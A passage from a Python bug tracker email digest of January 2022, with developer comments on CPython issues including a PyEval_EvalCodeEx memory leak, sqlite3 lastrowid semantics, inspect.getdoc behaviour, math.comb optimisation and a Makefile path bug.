VALUES ('two'), ('three') RETURNING ROWID;" https://sqlite.org/lang_insert.html https://sqlite.org/forum/forumpost/058ac49cc3 (good to know that SQLite has adopted this PostgreSQL variant as well) RETURNING is also available for UPDATES: https://sqlite.org/lang_update.html If people really want to use the sqlite3_last_insert_rowid() functionality, they can use the SQL function of the same name: https://www.sqlite.org/lang_corefunc.html#last_insert_rowid which then has known semantics and doesn't conflict with the DB-API specs. But this is your call :-) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 15:30:03 2022 From: report at bugs.python.org (Erlend E. Aasland) Date: Tue, 11 Jan 2022 20:30:03 +0000 Subject: [issue46249] [sqlite3] move set lastrowid out of the query loop and enable it for executemany() In-Reply-To: <1641244467.23.0.820858977306.issue46249@roundup.psfhosted.org> Message-ID: <1641933003.17.0.762276412664.issue46249@roundup.psfhosted.org> Erlend E. Aasland added the comment: > You don't know on which cursor the last row was inserted [...] SQLite has no concept of cursors :) > It also seems that the function really only works for INSERTs and > not for UPDATEs. Yes, hence it's name: sqlite3_last_insert_rowid() ! > I'd suggest to deprecate the cursor.lastrowid attribute and > instead point people to the much more useful [...] Yes, I think mentioning the RETURNING ROWID trick in the sqlite3 docs is a very nice improvement. Mentioning the last_insert_rowid SQL function is probably also worth consideration. I'm reluctant to deprecate cursor.lastrowid, though. ATM, I'm leaning towards just keeping the current behaviour. > But this is your call :-) I hear you are saying that, but strictly speaking I'm _not_ the sqlite3 module maintainer; I'm just a very eager contributor :) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 15:33:27 2022 From: report at bugs.python.org (Terry J. Reedy) Date: Tue, 11 Jan 2022 20:33:27 +0000 Subject: [issue46237] Incorrect line reported in syntax error In-Reply-To: <1641195913.64.0.431874358772.issue46237@roundup.psfhosted.org> Message-ID: <1641933207.2.0.152605504644.issue46237@roundup.psfhosted.org> Terry J. Reedy added the comment: I understand. I think that for IDLE, I should check that the error .text is in the line indicated, and if not, recover somehow rather than blindly marking the the indicated column. For a shell statement entry, try to find the right line. Not sure for an editor syntax error. This is a rare situation in any case. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 15:43:28 2022 From: report at bugs.python.org (Christian Heimes) Date: Tue, 11 Jan 2022 20:43:28 +0000 Subject: [issue46346] New compilation warnings on Windows In-Reply-To: <1641925917.43.0.280254696624.issue46346@roundup.psfhosted.org> Message-ID: <1641933808.53.0.727359708354.issue46346@roundup.psfhosted.org> Change by Christian Heimes : ---------- dependencies: +_Py_stat and _Py_wstat using incorrect type for status argument nosy: +christian.heimes, pablogsal priority: normal -> release blocker stage: -> needs patch type: -> behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 16:06:10 2022 From: report at bugs.python.org (Yury Selivanov) Date: Tue, 11 Jan 2022 21:06:10 +0000 Subject: [issue46347] memory leak in PyEval_EvalCodeEx Message-ID: <1641935170.22.0.878820300431.issue46347@roundup.psfhosted.org> New submission from Yury Selivanov : I'm investigating a memory leak in 3.10, and while looking at the offending commit I stumbled upon this: in ceval.c:PyEval_EvalCodeEx, there's this allocation: PyObject **kwargs = PyMem_Malloc(sizeof(PyObject *)*kwcount); The problem is that this isn't ever freed. And `kwargs` isn't used anywhere in the function body. It seems to me that this is silently leaking memory. ---------- messages: 410329 nosy: Elvis.Pranskevichus, Mark.Shannon, pablogsal, vstinner, yselivanov priority: normal severity: normal status: open title: memory leak in PyEval_EvalCodeEx _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 16:06:35 2022 From: report at bugs.python.org (Yury Selivanov) Date: Tue, 11 Jan 2022 21:06:35 +0000 Subject: [issue46347] memory leak in PyEval_EvalCodeEx In-Reply-To: <1641935170.22.0.878820300431.issue46347@roundup.psfhosted.org> Message-ID: <1641935195.09.0.982953233554.issue46347@roundup.psfhosted.org> Yury Selivanov added the comment: (this is the context of our current investigation btw: https://github.com/MagicStack/asyncpg/issues/874#issuecomment-1009383262) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 16:10:23 2022 From: report at bugs.python.org (Yury Selivanov) Date: Tue, 11 Jan 2022 21:10:23 +0000 Subject: [issue46347] memory leak in PyEval_EvalCodeEx In-Reply-To: <1641935170.22.0.878820300431.issue46347@roundup.psfhosted.org> Message-ID: <1641935423.58.0.518966961601.issue46347@roundup.psfhosted.org> Yury Selivanov added the comment: This is the questionable place in the code: https://github.com/python/cpython/blob/dce642f24418c58e67fa31a686575c980c31dd37/Python/ceval.c#L6131-L6166 See that `kwargs` is allocated but never freed or used. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 16:16:02 2022 From: report at bugs.python.org (Elvis Pranskevichus) Date: Tue, 11 Jan 2022 21:16:02 +0000 Subject: [issue46347] memory leak in PyEval_EvalCodeEx In-Reply-To: <1641935170.22.0.878820300431.issue46347@roundup.psfhosted.org> Message-ID: <1641935762.0.0.785390348538.issue46347@roundup.psfhosted.org> Elvis Pranskevichus added the comment: I can confirm that removing the kwargs allocation prevents the leak described in the asyncpg issue from happening. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 16:17:11 2022 From: report at bugs.python.org (Yury Selivanov) Date: Tue, 11 Jan 2022 21:17:11 +0000 Subject: [issue46347] memory leak in PyEval_EvalCodeEx In-Reply-To: <1641935170.22.0.878820300431.issue46347@roundup.psfhosted.org> Message-ID: <1641935831.67.0.874293757248.issue46347@roundup.psfhosted.org> Change by Yury Selivanov : ---------- keywords: +patch pull_requests: +28746 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30546 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 16:22:44 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Tue, 11 Jan 2022 21:22:44 +0000 Subject: [issue46348] Morernize `test_typing` Message-ID: <1641936164.19.0.344462599094.issue46348@roundup.psfhosted.org> New submission from Nikita Sobolev : There are several very old details in `test_typing`. Some examples: 1. `@skipUnless(sys.version_info >= (3, 3), 'ChainMap was added in 3.3')` https://github.com/python/cpython/blame/dce642f24418c58e67fa31a686575c980c31dd37/Lib/test/test_typing.py#L3583 Probably we don't care about `3.3` anymore, so this decorator cam be removed 2. Lib/test/mod_generics_cache.py has a specific path for 3.6, which has reached its EOL, so it can also be simplified 3. `ASYNCIO_TESTS` can be written as a regular code now (this is the one I am not 100% sure about, but let's see what the CI will say) PR is on its way! ---------- components: Library (Lib) messages: 410333 nosy: sobolevn priority: normal severity: normal status: open title: Morernize `test_typing` versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 16:25:07 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Tue, 11 Jan 2022 21:25:07 +0000 Subject: [issue46348] Morernize `test_typing` In-Reply-To: <1641936164.19.0.344462599094.issue46348@roundup.psfhosted.org> Message-ID: <1641936307.94.0.455049797357.issue46348@roundup.psfhosted.org> Change by Nikita Sobolev : ---------- keywords: +patch pull_requests: +28747 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30547 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 16:29:49 2022 From: report at bugs.python.org (Daniel Lenski) Date: Tue, 11 Jan 2022 21:29:49 +0000 Subject: [issue22833] The decode_header() function decodes raw part to bytes or str, depending on encoded part In-Reply-To: <1415587360.95.0.777626227555.issue22833@psf.upfronthosting.co.za> Message-ID: <1641936589.71.0.0570984924344.issue22833@roundup.psfhosted.org> Change by Daniel Lenski : ---------- keywords: +patch pull_requests: +28748 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30548 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 16:31:20 2022 From: report at bugs.python.org (Alex Waygood) Date: Tue, 11 Jan 2022 21:31:20 +0000 Subject: [issue46348] Modernize `test_typing` In-Reply-To: <1641936164.19.0.344462599094.issue46348@roundup.psfhosted.org> Message-ID: <1641936680.84.0.86533269639.issue46348@roundup.psfhosted.org> Change by Alex Waygood : ---------- nosy: +AlexWaygood, gvanrossum, kj title: Morernize `test_typing` -> Modernize `test_typing` type: -> behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 16:33:30 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Tue, 11 Jan 2022 21:33:30 +0000 Subject: [issue46348] Modernize `test_typing` In-Reply-To: <1641936164.19.0.344462599094.issue46348@roundup.psfhosted.org> Message-ID: <1641936810.57.0.744001190246.issue46348@roundup.psfhosted.org> Nikita Sobolev added the comment: Alex, thanks a lot for fixing so many of my titles! Highly appreciated! ---------- components: +Tests -Library (Lib) _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 16:39:13 2022 From: report at bugs.python.org (Gregory P. Smith) Date: Tue, 11 Jan 2022 21:39:13 +0000 Subject: [issue46349] inspect.getdoc() should append parent class method docs when encountering a local one line docstring Message-ID: <1641937153.72.0.655254762095.issue46349@roundup.psfhosted.org> New submission from Gregory P. Smith : Today `inspect.getdoc()` is quite simple. If a method has any docstring, it returns it. There is one idiom where this is not very useful to our users. A """See base class.""" docstring on a method. Rather than having to repeat the canonical base class documentation in all methods or argue with tooling about not having a docstring in this common scenario, a single line docstring being used as a hint to just bring in the parent's docstring would be more helpful to the user. Today's inspect.getdoc() could would turn from: https://github.com/python/cpython/blob/main/Lib/inspect.py#L850 into something like: ``` ... if doc is None or (isinstance(doc, str) and '\n' not in doc.strip()): try: parent_doc = _finddoc(object) if doc is None: doc = parent_doc elif isinstance(parent_doc, str): doc = f'{doc}\nParent class MRO doc:\n{parent_doc}' except (AttributeError, TypeError): return doc ... ``` Why not just tell people to omit docstrings when they want parent docs? Because not all coding styles and linter tooling allows for this as they aim to enforce that documentation _is_ written. Source analysis tooling and IDEs may not have a whole transitive dependency view of where the base classes even come from and are thus incapable of reliably analyzing whether a parent MRO method even exists or has a docstring. This allows for trivial one line docstrings in that situation while still providing better information to the help() user. This would add value to when using help(typical_subclass_of_abstract_thing.method) in notebooks. ---------- components: Library (Lib) messages: 410335 nosy: gregory.p.smith priority: normal severity: normal stage: needs patch status: open title: inspect.getdoc() should append parent class method docs when encountering a local one line docstring type: enhancement versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 16:47:04 2022 From: report at bugs.python.org (Alex Waygood) Date: Tue, 11 Jan 2022 21:47:04 +0000 Subject: [issue46348] Modernize `test_typing` In-Reply-To: <1641936164.19.0.344462599094.issue46348@roundup.psfhosted.org> Message-ID: <1641937624.64.0.124392598129.issue46348@roundup.psfhosted.org> Alex Waygood added the comment: Heh, no worries! ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 17:10:12 2022 From: report at bugs.python.org (Steven D'Aprano) Date: Tue, 11 Jan 2022 22:10:12 +0000 Subject: [issue46349] inspect.getdoc() should append parent class method docs when encountering a local one line docstring In-Reply-To: <1641937153.72.0.655254762095.issue46349@roundup.psfhosted.org> Message-ID: <1641939012.46.0.539434665786.issue46349@roundup.psfhosted.org> Steven D'Aprano added the comment: Many docstrings are only 1 line without being "See base class." And many docstrings are multiple lines while also referring the reader to see the parent class for further details. So this DWIM heuristic to guess whether or not to display a parent class docstring will have a lot of both false positives and false negatives. The false negatives just revert to the status quo, but the false positives will be annoying. I am leery of DWIM code. The reader should be capable of recognising that sort of message and calling up help for that class, so I think the benefit here is minimal and the failures common. But if we do go ahead with this, I have a style issue. At the moment, getdoc shadows `object`, for no good purpose. (I'm fine with shadowing builtins if there is a good reason.) This is a minor issue that is not worth fixing on its own, but if you do end up touching getdoc to implement this, could you please remove the unnecessary shadowing? If we can call the function "get *doc*" we can call the parameter *obj* :-) ---------- nosy: +steven.daprano _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 17:10:12 2022 From: report at bugs.python.org (Dan Snider) Date: Tue, 11 Jan 2022 22:10:12 +0000 Subject: [issue46350] re.sub, re.Match.expand, etc doesn't allow x, u, U, or N escapes in the template Message-ID: <1641939012.19.0.13776155937.issue46350@roundup.psfhosted.org> New submission from Dan Snider : The docs use the phrase "unknown escapes of ASCII letters are reserved for future use and treated as errors". That seems ambiguous enough to question why "\x", "\u", "\U", and "\N{}" escapes aren't expanded in the template parameter like they are in patterns. Since I didn't get a response to the security report I submitted a few weeks ago about \N{} escapes, I'm cautiously assuming it's safe to bring it up here that the "unicode-escape" encoding and re and probably everything else that uses it ignores two obvious clues that a name lookup will fail: length and the presence of invalid characters. I didn't look very hard for a definite length cap in the spec, but 255 seems more than sufficient, based on longest name at present with its 82 characters. Even something as absurd as 65535 would be preferable to the current implementations, which will keep going to the end as in: >>> r"\N{%s}" % ("\ufb03"*2**30) searching or a terminating "}" and still perform a lookup of the 2**30 character name. Another tangentially related "bug" (which probably deserves its own issue) is the inconsistency between group names and standard Python identifiers. The following example shows how the python compiler decomposes a ligature '?' in source code to the ASCII string "ffi", while re merely checks if it could be converted to an identifier: >>> ? = re.search("(?P.)", "xxx") >>> ffi.groupdict() {'?': 'x'} >>> "\ufb03" in vars(), "\ufb03" in _ (False, True) ---------- messages: 410337 nosy: bup priority: normal severity: normal status: open title: re.sub, re.Match.expand, etc doesn't allow x, u, U, or N escapes in the template type: behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 17:14:48 2022 From: report at bugs.python.org (Raymond Hettinger) Date: Tue, 11 Jan 2022 22:14:48 +0000 Subject: [issue37295] Possible optimizations for math.comb() In-Reply-To: <1560626260.31.0.393863097125.issue37295@roundup.psfhosted.org> Message-ID: <1641939288.6.0.600614775791.issue37295@roundup.psfhosted.org> Raymond Hettinger added the comment: I've been experimenting with a modification of Serhiy's recurrence relation, using a different value of j rather than j=k//2. The current design splits-off three ways when it recurses, so the number of calls grows quickly. For C(200,100), C(225,112), and C(250,125), the underlying 64 bit modular arithmetic routine is called 115 times, 150 times, and 193 times respectively. But with another 2kb of precomputed values, it drops to 3, 16, and 26 calls. The main idea is to precompute one diagonal of Pascal's triangle, starting where the 64-bit mod arithmetic version leaves off and going through a limit as high as we want, depending on our tolerance for table size. A table for C(n, 20) where 67 < n <= 225 takes 2101 bytes. The new routine adds one line and modifies one line from the current code: def C(n, k): k = min(k, n - k) if k == 0: return 1 if k == 1: return n if k < len(k2n) and n <= k2n[k]: return ModArith64bit(n, k) if k == FixedJ and n <= Jlim: return lookup_known(n) # New line j = min(k // 2, FixedJ) # Modified return C(n, j) * C(n-j, k-j) // C(k, j) The benefit of pinning j to match the precomputed diagonal is that two of the three splits-offs are to known values where no further work is necessary. Given a table for C(n, 20), we get: C(200, 100) = C(200, 20) * C(180, 80) // C(100, 20) \_known_/ \_recurse_/ \_known_/ A proof of concept is attached. To make it easy to experiment with, the precomputed diagonal is stored in a dictionary. At the bottom, I show an equivalent function to be used in a C version. It looks promising at this point, but I haven't run timings, so I am not sure this is a net win. ---------- Added file: https://bugs.python.org/file50555/comb_pole.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 17:21:30 2022 From: report at bugs.python.org (Steven D'Aprano) Date: Tue, 11 Jan 2022 22:21:30 +0000 Subject: [issue46350] re.sub, re.Match.expand, etc doesn't allow x, u, U, or N escapes in the template In-Reply-To: <1641939012.19.0.13776155937.issue46350@roundup.psfhosted.org> Message-ID: <1641939690.2.0.458597892912.issue46350@roundup.psfhosted.org> Steven D'Aprano added the comment: It is better to raise each issue in its own ticket. You seem to have three distinct issues here: - The issue listed in the title, which I don't understand. A demonstration of the issue would be helpful. - The unrelated(?) issue of bad \N{} escapes, which appears to have nothing to do with regexes, but maybe I'm wrong? In any case, whether this is regular expressions or plain old strings, it seems reasonable to me to limit \N{} to ASCII-only (Unicode guarantees that code point names are ASCII) and some reasonable length. I can't imagine the Unicode consortium ever deciding on a name > 255 characters, it wouldn't be practical. - The difference in normalisation between group names and identifiers. ---------- nosy: +steven.daprano _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 17:25:39 2022 From: report at bugs.python.org (miss-islington) Date: Tue, 11 Jan 2022 22:25:39 +0000 Subject: [issue46347] memory leak in PyEval_EvalCodeEx In-Reply-To: <1641935170.22.0.878820300431.issue46347@roundup.psfhosted.org> Message-ID: <1641939939.22.0.371342737173.issue46347@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 5.0 -> 6.0 pull_requests: +28750 pull_request: https://github.com/python/cpython/pull/30549 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 17:25:39 2022 From: report at bugs.python.org (Yury Selivanov) Date: Tue, 11 Jan 2022 22:25:39 +0000 Subject: [issue46347] memory leak in PyEval_EvalCodeEx In-Reply-To: <1641935170.22.0.878820300431.issue46347@roundup.psfhosted.org> Message-ID: <1641939939.8.0.0226543839057.issue46347@roundup.psfhosted.org> Yury Selivanov added the comment: New changeset 607d8a838f29ad3c4c4e85b39f338dade5f9cafe by Yury Selivanov in branch 'main': bpo-46347: Fix memory leak in PyEval_EvalCodeEx. (#30546) https://github.com/python/cpython/commit/607d8a838f29ad3c4c4e85b39f338dade5f9cafe ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 17:45:28 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Tue, 11 Jan 2022 22:45:28 +0000 Subject: [issue46347] memory leak in PyEval_EvalCodeEx In-Reply-To: <1641935170.22.0.878820300431.issue46347@roundup.psfhosted.org> Message-ID: <1641941128.83.0.71566905068.issue46347@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: Turns out this leak affects CYthon quite a lot: https://github.com/cython/cython/blob/29ad96444b8b1a4f05a6ac2328fde01de4782691/Cython/Utility/ObjectHandling.c#L2139-L2155 This seems to imply that every function call using __Pyx_PyCFunction_FastCall is leaking memory in 3.10, which is quite bad. We may need an urgent release for this :( ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 17:56:57 2022 From: report at bugs.python.org (Larry Hastings) Date: Tue, 11 Jan 2022 22:56:57 +0000 Subject: [issue46347] memory leak in PyEval_EvalCodeEx In-Reply-To: <1641935170.22.0.878820300431.issue46347@roundup.psfhosted.org> Message-ID: <1641941817.4.0.725540527059.issue46347@roundup.psfhosted.org> Larry Hastings added the comment: The function will still leak "kwnames" and "default" if creating the "func" object fails. Admittedly that would only happen in a low-memory condition which is a) rare and b) probably only happens just before the interpreter completely dies, so it's not worth addressing during today's mild emergency. ---------- nosy: +larry _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 17:57:30 2022 From: report at bugs.python.org (Larry Hastings) Date: Tue, 11 Jan 2022 22:57:30 +0000 Subject: [issue46347] memory leak in PyEval_EvalCodeEx In-Reply-To: <1641935170.22.0.878820300431.issue46347@roundup.psfhosted.org> Message-ID: <1641941850.75.0.321206054379.issue46347@roundup.psfhosted.org> Larry Hastings added the comment: (Sorry--it'll leak "kwnames", "newargs", and "defaults".) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 17:58:31 2022 From: report at bugs.python.org (STINNER Victor) Date: Tue, 11 Jan 2022 22:58:31 +0000 Subject: [issue46303] _Py_stat and _Py_wstat using incorrect type for status argument In-Reply-To: <1641613723.86.0.029263256037.issue46303@roundup.psfhosted.org> Message-ID: <1641941911.23.0.112718360925.issue46303@roundup.psfhosted.org> Change by STINNER Victor : ---------- pull_requests: +28751 pull_request: https://github.com/python/cpython/pull/30550 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 17:58:44 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Tue, 11 Jan 2022 22:58:44 +0000 Subject: [issue46347] memory leak in PyEval_EvalCodeEx In-Reply-To: <1641935170.22.0.878820300431.issue46347@roundup.psfhosted.org> Message-ID: <1641941924.59.0.312574796207.issue46347@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: Apparently, this is causing adyncpg to leak megabytes in seconds ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 18:00:28 2022 From: report at bugs.python.org (Raymond Hettinger) Date: Tue, 11 Jan 2022 23:00:28 +0000 Subject: [issue37295] Possible optimizations for math.comb() In-Reply-To: <1560626260.31.0.393863097125.issue37295@roundup.psfhosted.org> Message-ID: <1641942028.21.0.377478510681.issue37295@roundup.psfhosted.org> Change by Raymond Hettinger : Removed file: https://bugs.python.org/file50555/comb_pole.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 18:03:26 2022 From: report at bugs.python.org (Tommy Vercetti) Date: Tue, 11 Jan 2022 23:03:26 +0000 Subject: [issue33125] Windows 10 ARM64 platform support In-Reply-To: <1521767011.97.0.467229070634.issue33125@psf.upfronthosting.co.za> Message-ID: <1641942206.0.0.554956237246.issue33125@roundup.psfhosted.org> Tommy Vercetti added the comment: Hi Steve, We appreciate your interest in OBS Studio! In my opinion, the installer doesn't have or need to be in ARM64, because it's not more complex than copying files and writing registry keys, and as an installer, it should be the most forgotten part of python that usually runs for once or twice. For the reason why OBS doesn't include a copy of python, OBS Studio on Windows is already huge (~130MB installer, ~500MB after install), and we don't want to add another disk space eater on already huge installer. We are working on a way to find Python installed on the system, but it seems pretty complicated. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 18:04:09 2022 From: report at bugs.python.org (Raymond Hettinger) Date: Tue, 11 Jan 2022 23:04:09 +0000 Subject: [issue37295] Possible optimizations for math.comb() In-Reply-To: <1560626260.31.0.393863097125.issue37295@roundup.psfhosted.org> Message-ID: <1641942249.59.0.494546813894.issue37295@roundup.psfhosted.org> Raymond Hettinger added the comment: One fixup: - j = min(k // 2, FixedJ) + j = FixedJ if k > FixedJ else k // 2 With that fix, the number of 64-bit mod arithmetic calls drops to 3, 4, and 20 for C(200,100), C(225,112), and C(250,125). The compares to 115, 150, and 193 calls in the current code. ---------- Added file: https://bugs.python.org/file50556/comb_pole.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 18:05:18 2022 From: report at bugs.python.org (Eric Snow) Date: Tue, 11 Jan 2022 23:05:18 +0000 Subject: [issue46320] runtime/interp/thread state refactoring leads to segmentation fault In-Reply-To: <1641761312.51.0.52946214208.issue46320@roundup.psfhosted.org> Message-ID: <1641942318.41.0.112977373347.issue46320@roundup.psfhosted.org> Eric Snow added the comment: > pip install -r dev-requirements.txt > pip install ".[socks,secure,brotli]" > pytest I was able to reproduce the crash with these steps. Thanks! ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 18:09:26 2022 From: report at bugs.python.org (miss-islington) Date: Tue, 11 Jan 2022 23:09:26 +0000 Subject: [issue46347] memory leak in PyEval_EvalCodeEx In-Reply-To: <1641935170.22.0.878820300431.issue46347@roundup.psfhosted.org> Message-ID: <1641942566.12.0.747084366104.issue46347@roundup.psfhosted.org> miss-islington added the comment: New changeset b1a94f1fab7c0aee0705483616a1b2c3f2713c00 by Miss Islington (bot) in branch '3.10': bpo-46347: Fix memory leak in PyEval_EvalCodeEx. (GH-30546) https://github.com/python/cpython/commit/b1a94f1fab7c0aee0705483616a1b2c3f2713c00 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 18:11:59 2022 From: report at bugs.python.org (STINNER Victor) Date: Tue, 11 Jan 2022 23:11:59 +0000 Subject: [issue46346] New compilation warnings on Windows In-Reply-To: <1641925917.43.0.280254696624.issue46346@roundup.psfhosted.org> Message-ID: <1641942719.43.0.22042771835.issue46346@roundup.psfhosted.org> STINNER Victor added the comment: Oh right, I introduced these warnings in bpo-46303. Let's continue the discussion there. ---------- dependencies: -_Py_stat and _Py_wstat using incorrect type for status argument priority: release blocker -> resolution: -> duplicate stage: needs patch -> resolved status: open -> closed superseder: -> _Py_stat and _Py_wstat using incorrect type for status argument _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 18:13:15 2022 From: report at bugs.python.org (STINNER Victor) Date: Tue, 11 Jan 2022 23:13:15 +0000 Subject: [issue46303] _Py_stat and _Py_wstat using incorrect type for status argument In-Reply-To: <1641613723.86.0.029263256037.issue46303@roundup.psfhosted.org> Message-ID: <1641942795.54.0.208147762789.issue46303@roundup.psfhosted.org> STINNER Victor added the comment: I marked bpo-46346 as a duplicate of this issue. Copy of the first message: """ I am getting these warnings: C:\Users\gvanrossum\cpython\PC\_testconsole.c(70,38): warning C4013: '_Py_get_osfhandle' undefined; assuming extern returnin g int [C:\Users\gvanrossum\cpython\PCbuild\_testconsole.vcxproj] C:\Users\gvanrossum\cpython\PC\_testconsole.c(70,1): warning C4047: 'initializing': 'HANDLE' differs in levels of indirectio n from 'int' [C:\Users\gvanrossum\cpython\PCbuild\_testconsole.vcxproj] C:\Users\gvanrossum\cpython\Modules\_tkinter.c(144,37): warning C4013: '_Py_stat' undefined; assuming extern returning int [ C:\Users\gvanrossum\cpython\PCbuild\_tkinter.vcxproj] I noticed that GitHub also was flagging these in unrelated PRs. """ I proposed GH-30550 to fix these warnings. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 18:14:56 2022 From: report at bugs.python.org (Guido van Rossum) Date: Tue, 11 Jan 2022 23:14:56 +0000 Subject: [issue46303] _Py_stat and _Py_wstat using incorrect type for status argument In-Reply-To: <1641613723.86.0.029263256037.issue46303@roundup.psfhosted.org> Message-ID: <1641942896.44.0.750101275753.issue46303@roundup.psfhosted.org> Change by Guido van Rossum : ---------- nosy: +gvanrossum _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 18:15:02 2022 From: report at bugs.python.org (Yury Selivanov) Date: Tue, 11 Jan 2022 23:15:02 +0000 Subject: [issue46347] memory leak in PyEval_EvalCodeEx In-Reply-To: <1641935170.22.0.878820300431.issue46347@roundup.psfhosted.org> Message-ID: <1641942902.67.0.867220631597.issue46347@roundup.psfhosted.org> Change by Yury Selivanov : ---------- pull_requests: +28752 pull_request: https://github.com/python/cpython/pull/30551 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 18:17:53 2022 From: report at bugs.python.org (STINNER Victor) Date: Tue, 11 Jan 2022 23:17:53 +0000 Subject: [issue46347] memory leak in PyEval_EvalCodeEx In-Reply-To: <1641935170.22.0.878820300431.issue46347@roundup.psfhosted.org> Message-ID: <1641943073.04.0.129339209234.issue46347@roundup.psfhosted.org> STINNER Victor added the comment: The memory leak has been fixed in 3.10 and main branches. Can this issue be closed now? ---------- components: +Interpreter Core versions: +Python 3.10, Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 18:18:29 2022 From: report at bugs.python.org (Shantanu) Date: Tue, 11 Jan 2022 23:18:29 +0000 Subject: [issue40059] Provide a toml module in the standard library In-Reply-To: <1585119261.47.0.818238682424.issue40059@roundup.psfhosted.org> Message-ID: <1641943109.99.0.666192422193.issue40059@roundup.psfhosted.org> Shantanu added the comment: This is now PEP 680: https://www.python.org/dev/peps/pep-0680/ Currently being discussed at: https://discuss.python.org/t/pep-680-tomllib-support-for-parsing-toml-in-the-standard-library/13040 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 18:19:19 2022 From: report at bugs.python.org (Yury Selivanov) Date: Tue, 11 Jan 2022 23:19:19 +0000 Subject: [issue46347] memory leak in PyEval_EvalCodeEx In-Reply-To: <1641935170.22.0.878820300431.issue46347@roundup.psfhosted.org> Message-ID: <1641943159.72.0.769422845438.issue46347@roundup.psfhosted.org> Yury Selivanov added the comment: > The function will still leak "kwnames" and "default" if creating the "func" object fails. Yeah, here's another PR to address that: https://github.com/python/cpython/pull/30551 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 18:19:49 2022 From: report at bugs.python.org (Christian Heimes) Date: Tue, 11 Jan 2022 23:19:49 +0000 Subject: [issue46303] _Py_stat and _Py_wstat using incorrect type for status argument In-Reply-To: <1641613723.86.0.029263256037.issue46303@roundup.psfhosted.org> Message-ID: <1641943189.46.0.155585563643.issue46303@roundup.psfhosted.org> Change by Christian Heimes : ---------- priority: normal -> release blocker _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 18:20:13 2022 From: report at bugs.python.org (Christian Heimes) Date: Tue, 11 Jan 2022 23:20:13 +0000 Subject: [issue46303] _Py_stat and _Py_wstat using incorrect type for status argument In-Reply-To: <1641613723.86.0.029263256037.issue46303@roundup.psfhosted.org> Message-ID: <1641943213.94.0.924777853878.issue46303@roundup.psfhosted.org> Christian Heimes added the comment: I set the release blocker flag for the ticket. ---------- nosy: +christian.heimes _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 18:32:47 2022 From: report at bugs.python.org (Guntram Wolski) Date: Tue, 11 Jan 2022 23:32:47 +0000 Subject: [issue46351] Makefile missing '/' for some path names Message-ID: <1641943967.39.0.327785267688.issue46351@roundup.psfhosted.org> New submission from Guntram Wolski : In reviewing the output of make -n install, I notice certain paths are missing '/' separators: if test "x" != "x" ; then \ rm -f /usr/local/python3.9.9/binpython3.9-32; \ lipo \ -output /usr/local/python3.9.9/bin/python3.9-32 \ /usr/local/python3.9.9/bin/python3.9; \ fi There should be a '/' between bin and python3.9-32 and other lines have the same issue. The Makefile source lines where I see this error are: if test "x$(LIPO_32BIT_FLAGS)" != "x" ; then \ --> rm -f $(DESTDIR)$(BINDIR)python$(VERSION)-32$(EXE); \ lipo $(LIPO_32BIT_FLAGS) \ -output $(DESTDIR)$(BINDIR)/python$(VERSION)-32$(EXE) \ 